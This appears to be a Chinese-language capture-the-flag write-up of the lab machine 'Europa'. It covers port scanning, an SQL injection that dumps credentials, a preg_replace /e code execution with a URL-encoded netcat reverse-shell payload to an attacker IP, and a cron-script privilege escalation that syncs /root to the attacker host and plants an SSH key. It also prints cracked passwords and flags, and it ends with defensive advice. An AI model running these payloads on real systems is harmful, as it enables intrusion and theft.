[Meachines] [Medium] Europa SQLI+preg_replace-RCE+D-link文件同步+cronjobs计划任务权限提升
字数 1373 2025-08-29 08:30:06
EuropaCorp 渗透测试实战教学文档
1. 信息收集阶段
1.1 目标识别
- IP地址: 10.10.10.22
- 操作系统: Ubuntu Linux (基于SSH和Apache版本信息)
- 开放端口:
- 22/tcp: OpenSSH 7.2p2
- 80/tcp: Apache httpd 2.4.18
- 443/tcp: Apache httpd 2.4.18 (HTTPS)
1.2 主机发现与端口扫描
ip='10.10.10.22';
itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.3 Web应用识别
-
HTTPS证书信息:
- 域名: europacorp.htb, www.europacorp.htb, admin-portal.europacorp.htb
- 组织: EuropaCorp Ltd.
- 位置: Attica, GR (希腊)
-
添加hosts记录:
echo '10.10.10.22 admin-portal.europacorp.htb europacorp.htb' >> /etc/hosts
2. Web应用渗透
2.1 SQL注入攻击
目标URL: https://admin-portal.europacorp.htb/login.php
使用sqlmap进行自动化SQL注入检测:
sqlmap -r /tmp/sql.txt --force-ssl --batch
提取数据库信息:
sqlmap -r /tmp/sql.txt --force-ssl --batch -D admin -T users --dump
获取的凭据:
+----+-----------------------+--------+----------------------------------+---------------+
| id | email | active | password | username |
+----+-----------------------+--------+----------------------------------+---------------+
| 1 | admin@europacorp.htb | 1 | 2b6d315337f18617ba18922c0b9597ff | administrator |
| 2 | john@europacorp.htb | 1 | 2b6d315337f18617ba18922c0b9597ff | john |
+----+-----------------------+--------+----------------------------------+---------------+
密码破解结果: SuperSecretPassword!
2.2 preg_replace() RCE漏洞利用
漏洞位置: https://admin-portal.europacorp.htb/tools.php
漏洞参数: pattern (正则表达式参数)
攻击载荷:
pattern=%2Fx%2Fe&ipaddress=system("rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.33%20443%20%3E%2Ftmp%2Ff")
这个payload会:
- 删除/tmp/f文件(如果存在)
- 创建一个命名管道/tmp/f
- 通过管道启动一个反向shell连接到攻击者的443端口
3. 初始访问与横向移动
3.1 获取初始shell
使用john的凭据:
- 用户名: john
- 密码: iEOERHRiDnwkdnw
获取user flag:
ac3f97350181a4632c3395550968fb9b
4. 权限提升
4.1 利用D-link文件同步和cronjobs
4.1.1 设置攻击机
使用dlink工具建立文件同步服务器:
./dlink server --port 10098 --path /tmp/root &
./dlink server --port 10099 --path /tmp/root --reverse
4.1.2 利用靶机的cronjob
在靶机上注入恶意脚本:
echo -e '#!/bin/bash\n\n/tmp/dlink client --endpoint "10.10.16.33:10098" --path /root & \n/tmp/dlink client --endpoint "10.10.16.33:10099" --path /root --reverse' > /var/www/cmd/logcleared.sh
chmod +x /var/www/cmd/logcleared.sh
4.1.3 添加SSH公钥
在攻击机的/tmp/root目录下创建authorized_keys文件:
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHW/AdC4GrFM0XNoi5DrRrmUCSfp5EE439+ay1c2JIQq maptnh@maptnh-H4CK13' > /tmp/root/.ssh/authorized_keys
4.2 获取root权限
通过文件同步,靶机的/root目录会被镜像到攻击机的/tmp/root目录,从而获取root权限。
获取root flag:
14fea16f907013662508670e9efc16e5
5. 关键工具与资源
- sqlmap: 自动化SQL注入工具
- dlink: 文件同步工具 (GitHub: https://github.com/MartinxMax/dlink)
- netcat: 建立反向shell
- masscan: 快速端口扫描工具
- nmap: 详细的端口和服务识别工具
6. 防御建议
-
SQL注入防护:
- 使用参数化查询
- 实施输入验证
- 使用ORM框架
-
RCE防护:
- 避免使用危险的PHP函数如preg_replace()与/e修饰符
- 更新到最新PHP版本
- 实施严格的输入过滤
-
权限提升防护:
- 审查所有cronjob脚本
- 限制cronjob执行权限
- 监控/root目录的异常修改
-
文件同步风险:
- 禁用或严格限制文件同步服务
- 实施网络隔离
- 监控异常的文件传输活动
-
SSH安全:
- 禁用root直接登录
- 使用密钥认证而非密码
- 实施fail2ban保护